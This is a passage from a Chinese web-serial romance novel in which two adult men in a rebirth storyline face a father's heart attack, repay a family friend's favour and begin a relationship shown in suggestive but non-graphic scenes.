他习惯掌控,无论是商场还是其他。 他向前一步,缩短了最后的安全距离,伸手,意图明确地想要揽住凌曜的后颈,将这个吻的主动权牢牢握在自己手中。 然而,在沈野的指尖即将触碰到那细腻皮肤的一刹那,凌曜却动了。 他不是闪避,而是迎着他手腕的来势,精准地扣住了他的小臂! 力道不重,却带着不容置疑的制止意味。 沈野动作一顿,对上凌曜的眼睛。那双眼里没有了之前的漫不经心,取而代之的是一种极具攻击性的、亮得惊人的光芒。 下一秒,凌曜借着他前倾的势头,向自己方向一带,同时另一只手已经环上沈野的脖颈,将他拉低,主动仰头吻了上去! 这是一个截然不同的吻。 是一场从一开始就充满硝烟味的征服。 凌曜的舌尖强势地撬开他的齿关,带着不容拒绝的意味深入纠缠,每一步都像是在宣告主权。 沈野闷哼一声,顿时领会了他的意图,尔后几乎是本能地想要夺回控制权,他的手臂收紧,将人更用力地压向自己,唇舌的反击带着同样的强势和掠夺性。 两人在唇齿间激烈地角逐,像两股势均力敌的浪潮相互拍打。 呼吸变得灼热而紊乱,空气中弥漫开一丝血腥味——不知是谁的唇瓣被磕破或咬破,这点痛楚却如同催化剂,让这场较量更加白热化。 沈野的手掌顺着凌曜的脊背下滑,隔着衬衫布料也能感受到其下绷紧的肌肉线条。他试图用更重的力道将人按向中岛台,掌控节奏。 可凌曜的膝盖却在此刻不轻不重地顶入他双腿之间,虽未用力,却是一个极具暗示性和挑衅意味的动作,瞬间打破了沈野的平衡感。 趁着他瞬间的凝滞,凌曜腰肢一拧,巧妙地将两人位置调转! 天旋地转间,沈野的后背被轻轻抵在了冰凉的中岛台边缘。 凌曜的手臂仍环着他的脖颈,另一只手却撑在了他身侧的台面上,将他困在了方寸之间。 暖黄的灯光从凌曜身后打来,为他镀上一层朦胧的光晕。他微微喘息着,被吻得红肿的唇瓣上那抹血痕格外刺眼,眼底氤氲着水汽,却闪烁着毫不掩饰的得意和征服欲。 “哥哥,”凌曜的声音低哑,带着灼热的气息拂过沈野的唇角,“接个吻……都这么不服输?” 沈野的呼吸彻底乱了。 胸膛剧烈起伏,心脏狂跳。 他看着上方这张艳色逼人、又写满嚣张的脸,一种前所未有的失控感席卷了他。 他,沈野,竟然在这种事上,被压制了? 怎么可能?! 凌曜在高位,将沈野的表情一览无余。 他俯下身,鼻尖几乎蹭到他的,用那种无辜又委屈的语气,慢悠悠地追问: “刚才不是你先动手的吗?怎么现在……倒像是我在欺负你了?” 凌曜笑眯眯地观察着沈野的神色,捕捉到沈野明显带着不可思议的视线,心里暗暗得意。 他就知道沈野没反应过来。 如果让沈野从一开始就知道,自己会是被撅的那一个—— 沈野才不会答应呢。 沈野那边的大脑也在飞速转动。 这不对劲! 一个养尊处优的太子爷,哪来这么巧的力道和反应速度? 这绝不是偶尔健身能练出来的。 电光石火间,一些被忽略的细节猛地窜入脑海—— 是了,上次在LUX,凌曜喝醉,他去扶他。 手掌隔着薄薄的衬衫布料,确实清晰地感受到了其下紧绷的肌肉线条。 绝非松弛无力。 当时沈野还只当是年轻人常健身呢,更何况凌曜是在倡导全民健身的A国念书。 还有,更早之前,凌曜似乎随口提过一句,在A国闲着没事玩过攀岩、自由潜水什么的…… 他当时只当是公子哥儿的消遣,现在想来,那些都是极需核心力量和技巧的极限运动。 ……靠。 凌曜低低地笑了起来,他没有松开钳制,得寸进尺地用膝盖更暧昧地蹭了蹭沈野的腿侧。 “怎么了哥哥,很意外么?” 他说话时,温热的气息喷洒在沈野的颈侧,带着酒香和一丝血腥的甜锈味。 那双妖冶的眼睛眯着,像只餍足而危险的猫,欣赏着爪下猎物罕见的慌乱。 而此刻,在凌曜的眼中,沈野这副样子,简直迷人得要命。 平日里那个冷静自持、仿佛一切尽在掌握的哥哥,此刻正微微蹙着眉头,紧抿的薄唇因为刚才激烈的亲吻而显得异常红润,甚至还有点破皮。 眼睛里,清晰地映照出挫败、不甘、以及一种被打了个措手不及的怔忡。 这种罕见的、近乎脆弱的情绪,出现在沈野这张冷峻的脸上,形成了一种极度反差的美感。 真他妈性感。 凌曜心底暗骂一声,感觉一股热流不受控制地向下腹涌去。 他几乎能清晰地感受到,自己身体某处已经开始不受控制地苏醒,带着灼热的渴望,紧紧抵着沈野。 叮铃铃——叮铃铃—— 一阵尖锐的手机铃声,忽然在整个空间响起。 是沈野放在中岛台上的手机在疯狂震动。 两人动作同时一僵。 沈野顿时清醒了,这是他设置的紧急联系电话,正常情况下根本不会有人打过来。 上辈子,这个铃声响起在父亲病倒的那天。 ……! 沈野眼底翻涌的欲念急速退去,果断松开了箍着凌曜的手,侧身去拿手机。 凌曜也被这突如其来的打断弄得怔住,心底涌起一股强烈的不爽。 不知道是谁这么没有眼力见,在这个节骨眼上坏他的好事。 但他看到沈野瞬间变脸的神色,也明白事情不简单,强压下火气,不情不愿地稍稍退开了一点。 尔后在一旁黑着脸站着。 沈野迅速拿起手机,眉头骤然锁紧。 凌曜在一边站着,发现沈野的脸色越来越差。 虽然沈野没有开免提,但他还是听见了“紧急”“急性”这类的关键词。 凌曜的心猛地一沉,果然,沈野快速交代了几句后,挂断了电话。 “我爸急性心梗,送中心医院了。”沈野语速极快,一边抓起沙发上的外套穿上,一边对凌曜说,“我得立刻过去。” 凌曜没有丝毫犹豫,立刻道:“我跟你……” “不行。” 沈野打断他,目光锐利地看着他,“你现在跟我同时出现在医院,目标太大,只会引来更多不必要的猜测和关注。你留在这里。” 凌曜张了张嘴,想反驳,但对上沈野那双不容置疑的眼睛,不情不愿地承认沈野是对的。 他俩同时出现在医院,指不定被人看到了又会说什么。 “好。”凌曜答应,“医院那边有什么消息,立刻告诉我。” 沈野没再废话,只重重拍了一下他的手臂,转身大步走向门口,身影很快消失在电梯口—— 赶到中心医院VIP楼层时,走廊里弥漫着消毒水的气息,气氛凝重。 刚刚和他通话的是秘书,秘书脸色苍白地迎上来,快速汇报道:“沈总,正在抢救,是急性前壁心肌梗死,情况很凶险……医生说,幸好发现和送医还算及时。” 沈野点头,强压下心底翻涌的焦灼。 他迅速与主治医生交流,尽量调动了沈家能调动的所有医疗资源,确保沈致远得到最好的救治。 只是,沈野仍然觉得奇怪,上辈子沈致远的病明明不会这么早爆发,难道又是因为他的到来,像蝴蝶效应一样,对这个重生的世界造成了改变? 如果是这样,那这个世界,还有哪些事情也随之改变了? 时间在抢救室外,缓慢地流逝。 几个小时过去,天际已泛起鱼肚白。 沈野在手术室外的椅子上抱臂休息了一会儿,身体上浓浓的疲惫,但神经是绷紧的,很难真的进入到睡眠状态。 当他准备起身走走的时候,手机震动一下。 他看了一眼,是凌曜发来的信息,内容很简单: 【怎么样?】 沈野回了一句:【还在抢救。】 言简意赅。 他没发语音,不想让凌曜听见他嗓音一夜未眠的沙哑。 又过了一阵,主治医生再次出来,脸上带着一丝疲惫后的放松:“沈先生,抢救很成功,血管已经通了,沈老先生暂时脱离了生命危险,但还需要在ICU密切观察几天。” 沈野和主治医生沟通一阵,等确认父亲没事之后,想到了给凌曜保平安。 他指尖微动,回复的速度比平时快了些许。 【刚脱离危险,准备去ICU观察。】 他顿了顿,又补发一条。 【别担心。】 这条消息发出去,沈野才意识到自己的举动——他下意识地在安抚凌曜。 沈野看着屏幕,心头那根紧绷的弦,也随之略微松动一些。 等把沈致远安顿进ICU,主治医生再次出来,沈野立刻迎上前,郑重地向医生道谢:“辛苦了,王主任。这次多亏了你们。” “沈先生客气了,这是我们的职责。” 王主任摆摆手,语气诚恳,“说实话,沈总这次的情况非常凶险,能抢救回来,除了我们团队的努力,也多亏了外部专家的及时支持。” 沈野敏锐地捕捉到关键词,顺势追问:“外部专家?” “是的。”王主任点头,解释道,“今天凌晨,我们通过紧急渠道,获得了A国梅奥中心史密斯教授团队的远程指导。史密斯教授是心内科领域的权威,他们对我们的应急处置方案给予了高度肯定,这也让我们对后续治疗更有信心。” 梅奥中心、史密斯教授…… 这些名字让沈野心中一动。 沈家并未接触到A国的医疗团队,如此迅速、精准地对接上A国最顶级的专家,并非易事。 他立刻想到了一个人——凌曜。 几乎是同时,口袋里的手机再次震动起来,他拿出手机,屏幕上跳动的名字正是凌曜。 沈野迅速接起,电话那头传来凌曜的声音,背景音很安静。 他马上问:“史密斯教授团队,是你联系的吗?” 对方停了一下,道:“对,我刚刚托我伍叔叔联系的。他夫人是医疗基金会的理事,联系了A国那边的专家团队,希望能帮上点忙。” 原来是他。 沈野的心像是被什么东西轻轻撞了一下,一种陌生的酸涩感迅速蔓延开来,随即被更汹涌的暖意覆盖。 在他最需要支撑的时候,凌曜毫不犹豫地动用了自己的人脉,默默为他奔走,为他搬来了最及时的救兵。 这种被放在心上、被坚定选择、被切实支撑的感觉,他已经很久、很久没有体会过了。 久到……几乎要忘记这是一种什么样的滋味。 尤其是上辈子。 那时他与凌曜,是势同水火的对手。 他深陷困境时,凌曜给予他的从来只有落井下石,或是更精准的打击。 他早已习惯了单打独斗,习惯了在绝境中独自挣扎求生,从未奢望过能从凌曜那里得到半分援手,更别提是如此不遗余力的雪中送炭。 而今夜,凌曜的举动,与记忆中的冰冷截然相反。 这份反差太大,冲击太强,让沈野一时竟有些无措。 他握着手机,指尖微微收紧,仿佛这样就能抓住这份来之不易的暖意。 “嗯,”沈野的声音低沉,带着柔和,“医生刚说了,专家给了很大帮助。谢谢你,凌曜。” “谢什么!”凌曜的语气立刻轻松了不少,“伍叔叔人特别好,一听说伯伯出事,马上就说包在他身上,让他夫人立刻去联系。能帮上忙就好。” “嗯,也代我谢谢伍叔叔。”沈野顺着凌曜的话说道,“你……一夜没睡?” “我没事,哥哥,你才要撑住。” 凌曜的声音很乖巧,沈野还听见了明显的心疼,对方继续道:“医院那边还需要你,别累垮了。有任何事,随时打我电话。” “好。”沈野答应了一声,两人又叮嘱几句,便挂了电话。 他看向窗外的天色,此时已经很明亮。想到父亲病情暂时稳定,一股疲惫感报复性地扑向了他。 沈野揉揉太阳穴,准备回去补会觉。 然而,就在这心神稍稍松懈的间隙,一个念头却不受控制地滑入脑海。 沈野忽然想到,凌曜他,处理这件事的方式…… 是不是太过熟练了点? 这个念头很轻,却像一颗投入平静湖面的石子,漾开了涟漪。 越想,沈野越觉得奇怪,于是从医院到家里的一路都在思考这个问题。 他不是怀疑凌曜的用心,那份关切和帮助真实不虚,况且他现在把凌曜划为恋人,那更不可能去怀疑凌曜的意图。 只是,那种违和感怪怪的,卡在心里,怎么也驱散不了。 沈野回忆了一下,记忆里二十二岁的凌曜,骄纵自我,遇到麻烦要么发泄脾气,要么理所当然地依赖别人解决。 更别提主动去帮别人解决麻烦了。 毕竟是含着金汤匙,被叫“太子”长大的凌家独子,他想做任何事都是一句话的事,他想要的任何东西都是别人双手奉上,压根不会去争取。 因此,自私是他身上最大的标签。 他随时都在作,随时都在对任何人发脾气,因为他敢,也不怕后果。 何曾有过今天这样的表现? 沈野的指尖无意识地敲击着桌面,眼前模糊地浮现出上辈子差不多这个年纪的凌曜,在类似情境下的模样。 比如,曾经沈野的公司因为一个重要项目受阻,焦头烂额,压力巨大。 他难得在一次聚会后情绪低落,多喝了几杯。 凌曜当时也在场,非但没有丝毫体谅,反而因为沈野拒绝了他临时起意要去南美度假的提议,当场就冷了脸。 “一个破项目而已,值得你这样?” 当时的凌曜嗤笑着,眼神里全是居高临下的不耐烦,“沈野,你摆这副脸色给谁看?真是扫兴!” 他说完,便径直起身离开,连一个眼神都懒得再多给。 留下沈野一个人,在空荡的包厢里收拾残局。 那时的凌曜,骄纵、自我、情绪化,世界里只有自己的喜恶,完全不懂什么叫共情,更别说在别人需要时提供帮助。 他就像一团任性燃烧的火,只会灼伤靠近的人。 可刚才电话那头的凌曜…… 既冷静又高效,甚至带着点不容置疑的掌控力。 他告诉凌曜不要和自己一起来医院,凌曜很懂事地答应了。而一整个晚上,见自己没有发消息报平安,凌曜竟然也没有打许多个电话来催问。 这种超越年龄的沉稳和懂事,简直像是换了个人。 沈野蹙紧眉头,心底的违和感越来越重。 是他重生产生的变化吗? 还是说,眼前的凌曜,本就拥有这样的一面,只是前世的自己,从未真正了解过? 沈野甩了甩头,往自己的脸上抹了把水。 现在不是深究这个的时候,他还有太多现实问题需要处理了。 他暂时把这个问题埋在了心底,快速洗漱后去休息。《 》 45-50 第46章 接下来的几天, 沈致远的情况逐渐稳定,从ICU转入了特护病房。 沈野几乎住在了医院,白天要处理公司事务, 时不时还要与医生沟通,整日陪护父亲,忙得连轴转,和凌曜见面自然少了。 几天后的夜晚, 沈野刚处理完邮件,凌曜的电话就打了进来。 背景音很安静, 似乎是在家里。 “哥哥,”凌曜的声音带着点刚洗完澡的慵懒, “你之前让我留意的, 那个在专业论坛带节奏黑你技术路线的IP,有点眉目了。” 沈野精神一振, 揉了揉眉心:“怎么样?” “对方藏得挺深,跳了好几个ip, 最后指向海外一个虚拟服务器。手法很老辣, 不是普通水军。” 凌曜顿了顿, 语气带上点不屑,“不过也就这点本事, 真要有底气, 就该正面刚, 玩这种阴的, 上不了台面。” 沈野“嗯”了一声, 心里却是一动。 凌曜这番分析,精准老道,完全不像个只知吃喝玩乐的纨绔。 放在心底的违和感一下子又冒出来了, 上辈子和凌曜相处那么久,现在的凌曜跟曾经那个22岁的,只会用权势压人、手段粗暴的小屁孩,差距也太大了。 加上凌曜这几天异常懂事的体贴,沈野沉默了几秒,忽然开口道: “这几天,我忙得脚不沾地,也没时间见你。你倒是……情绪挺稳定。” 电话那头瞬间安静了。 沈野也屏住呼吸,等待凌曜的反应。 两秒后,凌曜像是被点燃的炮仗,一下子炸了。 “稳定?!沈野你还好意思说?!” 凌曜的声音陡然拔高,带着浓浓的委屈和火气,“我快憋死了好吗!天天对着手机等你回个消息像等圣旨一样!你知不知道我每次打电话前都要做半天心理建设,我还得装出一副善解人意、不给你添乱的样子!我容易吗我!” 他语速飞快,像倒豆子一样噼里啪啦:“结果你呢?你就这么轻飘飘一句情绪挺稳定?你是不是巴不得我一点都不想你,不缠着你啊?!” “沈野你什么意思,你难道就不想我,难道就只有我想你?” “我们刚在一起就这样,你不会后悔了吧?!!” 沈野被这突如其来的连珠炮轰得愣了一下,握着手机,一时没说话。 凌曜却越说越气,最后几乎是带着点蛮横地命令道:“我不管!你爸现在情况也稳定了,公司的事永远忙不完!你今天晚上,最晚明天中午,必须给我抽出时间!陪我吃饭!不然……不然我就去医院找你!我说到做到!” 听着电话那头气急败坏的声音,想象着凌曜此刻可能瞪圆了眼睛,漂亮小脸蛋也气鼓鼓的模样,沈野紧绷了几天的嘴角,几不可查地向上弯了一下。 心底那份飘忽不定的疑虑,忽然就落了下来。 对了。 就是这样。 会抱怨,会委屈,会蛮不讲理地索要关注和陪伴。 这样的凌曜,才是真实的。 刚才那个手段老练的形象瞬间褪去,沈野眼前仿佛又看到了那个骄纵、鲜活、会为了一点冷落就炸毛的小祖宗。 “好。”沈野的声音低沉,带着一丝连自己都未察觉的纵容,“明天中午,我去接你。” 电话那头瞬间安静了,过了一会儿,才传来凌曜闷闷的,强作镇定的声音:“呵呵……这还差不多。挂了。” 沈野假装没听见他语气里的那股得意。 听着电话里的忙音,他放下手机,看向窗外沉沉的夜色,长长地舒了一口气。 也许,是他想多了。 人总是会变的,更何况是重活一世。 凌曜或许只是在正事上变得成熟了些,骨子里,还是需要人哄着惯着的。 这个认知,让他感到一种莫名的安心。 不知是凌曜自小命太好,自带幸运buff还是什么原因,就在两人打电话的这个晚上,沈致远精神状态难得的变好了。 他靠在病床上,看着正在为他削苹果的沈野,忽然感慨道:“这次……真是危险啊,我都没想到正值壮年,还会出现这么大的问题。” 沈致远顿了顿,又欣慰地看向沈野,“公司那边,你处理得很好。比我预想的还要沉稳。” 沈野削苹果的手微微一顿,没说话。 沈致远继续道:“尤其是和凌云国际那边……我这一倒,最担心的就是他们那边会借题发挥。凌优智那个人,心思深,手腕硬,他若想趁机施压或者抢项目资源,我们会很被动。” “没想到,那边竟然风平浪静。这有点反常……小野,你是不是私下做了什么安排?” 沈野将削好的苹果递过去,神色平静无波,心里却快速权衡着。 父亲对凌优智的戒备很深,绝不能提及凌曜。他需要找一个合情合理,又能让父亲信服的理由。 “爸,您多虑了。”沈野开口,声音沉稳,“这次能稳住局面,多亏了凌云国际的伍申优,伍叔。” “伍申优?”沈致远明显愣了一下,眼底的疑虑更重了,“他?他会这么好心来帮我们?” 沈野看他的状态,就知道他爸显然和伍申优打过交道。 想想也是,伍申优再怎么说也是凌优智那边的人,和凌优智一个战线的,莫名其妙来帮他们,是有点奇怪。 “不是平白无故的帮忙。” 不过,沈野早已想好说辞,顺着父亲对伍申优的认知往下说,“我主动找了他。眼下A国项目正是关键期,合作共赢对凌云国际同样有利。如果这个时候我们内部出乱子,导致项目停滞,凌云国际的损失也不会小。伍叔是聪明人,权衡利弊,自然知道维持现状,双方一起确保项目顺利推进才是上策。我不过是把其中的利害关系,跟他点明了而已。” 这样一来,就可以避开凌曜了。 沈致远听着,若有所思地点点头。 这个解释,不仅符合他对伍申优的认知,也能体现沈野的能力和远见。 虽然心底对伍申优仍存有戒心,但沈野展现出的沉稳和老练,让他感到一丝欣慰。 “原来是这样……”沈致远沉吟道,目光在沈野脸上停留片刻,终于缓缓舒了一口气,“你做得对。能想到这一层,利用形势稳住他,很好。” “不过,伍申优这个人情,怕是不好还。你心里要有数。” 沈野垂下眼睫,掩去眸中一闪而过的复杂情绪。 父亲以为这只是一场基于利益交换的谈判,却不知真正的代价和人情,远比他想象的要复杂和隐秘得多。 那正是他和凌曜的关系。 沈野没打算现在就告诉沈致远,尤其他此时还在病床上。 “我明白,爸。”沈野低声应道,“您放心休息,一切有我。” 几天后,沈致远情况大好,坚持让沈野回去休息,处理堆积的工作。 离开医院,他做的第一件事就是联系凌曜。 于情于理,沈野都必须亲自登门,郑重感谢伍申优此次的雪中送炭。 周末,凌曜带着沈野去了伍申优位于城西的私宅。 宅子闹中取静,是座修缮精致的中式庭院,青砖灰瓦,低调中透着实打实的奢华。 伍申优为人和善,平时没什么架子,这次也是亲自在门口迎候。 见到凌曜,脸上立刻绽开热络的笑容,上前拍了拍他的肩膀: “小曜来了!快进来!” 他目光转向沈野,带着恰到好处的温和与欣赏,“这位就是沈贤侄吧?果然气度不凡。” 他言行举止亲切自然,完全是一副关爱晚辈的敦厚长辈模样,沈野见凌曜和他关系确实很不错,算了一下,这次带的礼物,价码应该是够的。 “这次真是多亏伍叔援手。” 沈野举杯,言辞恳切,“家父能转危为安,真是托了您的福。” “哎,侄子太客气了。” 伍申优摆摆手,笑容和煦,“我和你父亲也是老朋友了,何况是小曜开口。” 他说着,很自然地转向凌曜,好奇道:“说起来,曜曜那天晚上火急火燎地找我,可是很少见你这么着急。怎么,你们关系这么铁了?” 凌曜正夹菜的手微微一顿,随即扬起下巴,露出惯有的神情:“那当然!沈野可是我罩着的人!” 沈野配合地露出一个无奈的浅笑,仿佛在纵容凌曜的胡闹,顺势将话题引开:“是,这次多亏凌曜帮忙。伍叔在A国人脉广博,令人佩服。” 伍申优哈哈一笑,目光在两人身上短暂停留一瞬,便从善如流地不再深究,转而聊起了A国的风土人情。 他谈吐风趣,见闻广博,席间气氛始终热络。 直到夜色渐深,沈野和凌曜才起身告辞。 伍申优和夫人亲自将两人送到宅邸大门外,老管家早已恭敬候在一旁,身后停着那辆线条冷峻的黑色大G。 管家微微躬身,为凌曜拉开车门,动作一丝不苟,显然是见惯了场面的。 凌曜习以为常地坐进副驾,甚至没多看管家一眼,沈野则对伍申优夫妇再次道谢后,才绕到驾驶座。 车子平稳驶离那片静谧的庭院区,汇入都市夜晚的车流。 过了一会儿,凌曜忽然侧过身,看向开车的沈野,眉头微蹙,带着点审视的意味:“喂,你说,伍叔叔他今晚到底看出来没有?” “看出什么?” 凌曜似乎嫌弃沈野有点笨,埋怨道:“我俩的关系啊!” 沈野手指轻敲方向盘,沉吟片刻才开口:“不确定。但他刚才那句话,试探的成分居多。” 沈野还以为凌曜在担心,于是分析道,“我们今晚也没什么不合适的言行。只要我们自己不先做贼心虚,他抓不到把柄。” “做贼心虚?” 凌曜像是被这个词烫了一下,声音陡然拔高,漂亮的眉毛立刻拧了起来:“沈野你什么意思?我们谈恋爱是什么见不得光的事情吗?怎么就叫做贼了?!” 他语气里充满了被冒犯的委屈和火气,“在你眼里,我就这么拿不出手?跟我在一起还得藏着掖着?” 沈野没想到他反应这么大,愣了一下,解释道:“我不是这个意思,我是说……” “别说了别说了!”凌曜根本不听解释,直接打断他,越说越气,连日来被忽视的委屈一股脑涌了上来,“你爸生病是大事,我理解!可你自己算算,从出事到现在,你主动找过我几次?每次都是我巴巴地凑上去!今天好不容易见一面,还是来还人情的!现在连句话你都要跟我分析利弊?!” 他气得眼圈都有些发红,别开脸看向窗外飞逝的霓虹,声音闷闷的,带着十足的骄横:“我不管!你今天就是忽视我了,刚才还说话气我!你必须补偿我!” 沈野透过后视镜瞥见他紧抿的嘴角和微微起伏的胸口,知道这小祖宗是真闹脾气了。 他心底叹了口气,有些无奈,却又奇异地被这份毫不掩饰的委屈和索要搅动了一丝柔软。 “好,”沈野声音放缓了些,带着点妥协的意味,“要怎么补偿?” 凌曜闻言,不情愿地转回头。 他没有立刻回答,微微眯起眼,上上下下打量着正在开车的沈野。 目光从他握着方向盘的修长手指,慢悠悠地滑到衬衫领口微敞处露出的锁骨,最后定格在他线条利落的侧脸上。 车内光线昏暗,凌曜白皙的脸颊上渐渐浮起一层不自然的薄红,连耳尖都透出绯色。 他下意识地舔了舔有些发干的嘴唇,眼神闪烁,里面翻滚着一种混合的复杂情绪。 沈野等了几秒没听到回答,趁着红灯侧头看去,正好将凌曜这明显在琢磨什么坏主意的模样尽收眼底。 他眉头微蹙,直觉感到一丝危险。 “在想什么?”沈野问。 凌曜像是被惊醒般,轻轻咳了一声,掩饰性地移开视线。 只是嘴角的弧度怎么也压不住。 他转过头,重新看向沈野,眼神直勾勾的,拖长了语调,慢吞吞地说: “补偿嘛……很简单。” “今晚,去我那儿。” 凌曜往前凑了凑,压低了声音,气息几乎拂在沈野耳畔,“我那张新订的床,睡得不太舒服,你,来帮我试试。” 这话里的暗示,露骨得近乎赤裸。 沈野握着方向盘的手几不可查地紧了一下,喉结轻轻滚动。 他当然听懂了凌曜的弦外之音,车厢内的空气仿佛瞬间变得粘稠而炙热。 凌曜眯着眼睛,像是弓在弦上的猎人,欣赏正矫健飞驰的猎物一样。 就在他以为沈野要拒绝或者开始说教时,沈野才微微侧过头,目光极快地扫过凌曜,声音比平时更加低沉沙哑: “只是……试床?” 他刻意在“试”字上落了重音,尾音微微上扬,像羽毛轻轻搔过心尖。 这句话既没有直接答应,也没有拒绝,反而将问题轻巧地抛了回去。 语气里带着一丝不易察觉的、近乎危险的玩味。 凌曜的心跳猛地漏了一拍,脸颊“唰”地一下更红了。 这比他预想中任何一种反应都更让人……心跳加速。 第47章 车子驶入凌曜公寓的地下停车场, 凌曜率先推门下车,脚步比平时快,径直走向电梯间。 沈野锁好车, 长腿一迈,跟了上去。 “叮”的一声,电梯到达顶层。 凌曜率先迈出,脚步又快又急, 指尖微颤地按上指纹锁。 门开的瞬间,他甚至没等沈野完全进来, 便猛地回身,一把攥住沈野的手腕, 用力将人拽进玄关! “呃!” 沈野猝不及防, 后背重重撞上冰冷的墙壁,发出一声闷哼。 他抬眼, 对上凌曜近在咫尺的眼睛。 黑暗中,那双漂亮的桃花眼里燃着灼人的火, 像盯上猎物的漂亮猎豹, 危险又迷人。 “跑什么?” 凌曜的声音压得很低, 带着滚烫的气息喷在沈野脸上。两人靠得极近,几乎鼻尖相抵。 沈野那蜜色的肌肤在昏暗光线下透着力量感, 凌曜冷白如瓷的手指正牢牢钳着他的手腕。 两人肤色的对比在黑暗中形成极强的视觉冲击。 “谁跑了!” 沈野蹙眉, 试图挣脱, 却发现凌曜的力气大得惊人。 他仰头, 对上凌曜妖冶的眉眼, 那里面满是势在必得的挑衅。 “凌曜!” 凌曜非但没放,反而欺身更近,膝盖不轻不重地顶进沈野双腿之间, 将他牢牢困在墙壁与自己身体之间。 他微微偏头,目光落在沈野鼻梁上那颗性感的小痣上,嘴角勾起一抹恶劣的笑: “不是要试试吗?哥哥这就怕了?” 凌曜语带嘲弄,指尖暧昧地摩挲着沈野的腕骨。 “怕?” 沈野像是被激怒了,眼底锐光一闪,另一只手突然发力,猛地揪住凌曜的衬衫前襟,将他狠狠拉向自己! 两人身体严丝合缝地撞在一起。 “我是怕你技术不行!” 话音未落,沈野竟主动仰头,狠狠吻了上去。 这个吻充满了对抗的意味,粗暴又直接,像是要用这种方式夺回控制权。 凌曜先是一怔,随即眼底爆发出更盛的光芒。 他立刻反客为主,一手扣住沈野的后脑,加深了这个吻。 吻变得如同厮杀,唇齿交缠间弥漫开铁锈味。 两人从玄关一路纠缠到客厅,所过之处一片狼藉。 “凌曜……你他妈……”沈野□□,被凌曜用巧劲按在落地窗上,冰凉的玻璃激得他微微一颤。 他蜜色的胸膛剧烈起伏,汗珠滑过紧实的腹肌。 凌曜微微喘息着,冷白的皮肤泛着情动的薄红,妖冶至极。 他看着沈野被情欲和薄怒染红的眼尾,低笑一声,俯身,用牙齿不轻不重地啃咬着他锁骨上绷紧的肌肤。 “到底是谁,”凌曜的声音哑得厉害,带着胜利者的得意,“先招惹谁的?嗯?” 沈野还想反驳,却被凌曜随之而来的、更深入的吻彻底堵回了所有声音。 抵抗在绝对的技术面前,渐渐土崩瓦解,化为压抑的喘息和难以自控的迎合—— 意识是在一阵深入骨髓的酥麻酸胀中,缓缓出现的。 像被温暖的潮水,反复冲刷过每一寸神经末梢,一种前所未有的,令人战栗的餍足感包裹着沈野。 他还没完全清醒,身体却先于大脑,忠实地复刻着昨夜的记忆。 ……滚烫的纠缠,失控的喘息,指尖陷入绷紧背脊的触感。 还有那种被彻底点燃,焚烧殆尽的疯狂。 他居然…… 会有那样的一面。 像个不知餍足的困兽,在凌曜那具漂亮得近乎妖冶的身体上,索求无度。 那些压抑了多年的克制与冷静,都在昨夜土崩瓦解。 他从未想过,自己会被另一个人如此轻易地拽入情欲的深渊,而且……对象是凌曜。 这个认知像一道强光,让沈野瞬间清醒。 他猛地睁开眼,映入眼帘的是凌曜家的天花板。 空气里还残留着暧昧的湿气,混合着凌曜常用的那款香水味。 沈野僵硬地侧过头。 凌曜就睡在他身边,陷在柔软的枕头里,呼吸均匀绵长。 晨光熹微,勾勒出他精致的侧脸轮廓。 不愧是首席芭蕾舞演员的孩子,遗传着母亲的优秀基因,皮肤白皙得近乎透明,长而密的睫毛在眼下投下淡淡的阴影。 沈野仔细看去,凌曜脸颊上还带着那点未褪的婴儿肥。 “……” 不知道为什么,沈野还有点负罪感。 可能因为凌曜是传说中的男大吧。 而自己积累了两世的阅历,总感觉在拉着小孩儿干坏事一样。 沈野默默向后挪了挪,试图拉开一点距离。 就在这时,凌曜在睡梦中无意识地咂了咂嘴,翻了个身。 手臂习惯性地搭了过来,恰好环住了沈野的腰,脑袋还在他肩窝里蹭了蹭,寻了个更舒服的位置。 沈野身体僵了僵。 他终是没推开凌曜,尔后微微仰头,靠在枕头上,目光落在天花板,开始认真思考起他和凌曜的关系。 虽然…… 昨夜他是下面那个。 但事已至此,他沈野也不是提上裤子就不认账的人。 既然发生了,对方是凌曜,这个在他两世人生中都占据着特殊位置的人,他觉得自己应该负起责任。 想到“责任”这个词,他自己都觉得有些荒谬。 上辈子和凌曜斗得你死我活,这辈子却阴差阳错滚到了床上,甚至开始考虑负责。 这命运的走向,真是讽刺又奇妙。 沈野微微侧头,视线落在凌曜安静的睡颜上。 阳光跳跃在他长而卷翘的睫毛上,像停歇的蝶翼。 心底某个角落,奇异地柔软了一下。 不后悔。 这个念头清晰地浮现出来。 尽管混乱,尽管意外,但回想起昨夜的癫狂与沉沦,他心底竟生不出一丝悔意。 重活一世,能和凌曜走到这一步,是意料之外,却似乎也是冥冥之中。 那就试着对他好一点吧。 沈野想。 至于这段关系能走多远,未来会如何,就看两人以后的造化和磨合了。 他正想着,凌曜在睡梦中无意识地哼唧了一声,环在他腰上的手臂收得更紧了些,脸颊在他肩窝里蹭了蹭。 沈野身体依旧有些僵硬,这种亲昵的依恋对他而言太过陌生。 他微微动了动,想要调整一下姿势,却不小心牵动了某处难以启齿的酸痛,让他几不可查地蹙了下眉。 晨光愈发清晰,照亮了沈野的上半身。 蜜色的肌肤覆盖着线条流畅而薄韧的肌肉,宽厚的肩膀和紧窄的腰线形成漂亮的倒三角。 他有着一张极其俊逸的脸,线条利落分明,鼻梁高挺,下颌线清晰利落。 最特别的是那双薄薄的单眼皮,平时看人时总带着几分冷感和疏离,此刻在晨光中,却因宿醉般的情欲和难得的迷茫,柔和了棱角,显出一种别样的性感。 沈野正想着,怀里的人忽然动了动。 凌曜睫毛颤了颤,一双桃花眼水汽氤氲,睡意惺忪。 他先是茫然地眨了眨眼,视线聚焦在沈野近在咫尺的脸上时,明显愣了一下。 随即,那双漂亮的眼睛瞬间亮了起来,雀跃道: “哥哥?你没走啊!” 他的声音带着刚睡醒的沙哑和软糯,手臂下意识地收得更紧,整个人像只找到热源的猫,又往沈野怀里钻了钻。 沈野被他这直白的喜悦撞得心头微动,“嗯”了一声。 凌曜才不管他的冷淡,自顾自地高兴了几秒,然后像是突然想起了什么,肚子配合地“咕噜”叫了一声。 凌曜眨眨眼:“饿了。” 也是,昨晚这人体力消耗更大一点。 不过沈野倒不惯着他。 他垂眸看着他,薄薄的眼皮一掀: “想吃?” 凌曜点头,眼睛亮晶晶地看着他。 沈野嘴角几不可查地勾了一下,下一秒,突然出手,捏住凌曜的后颈,轻松地把人提溜出来,带下了床。 “哎哟!”凌曜猝不及防,光脚踩在地板上,惊呼一声,“沈野你干嘛!” 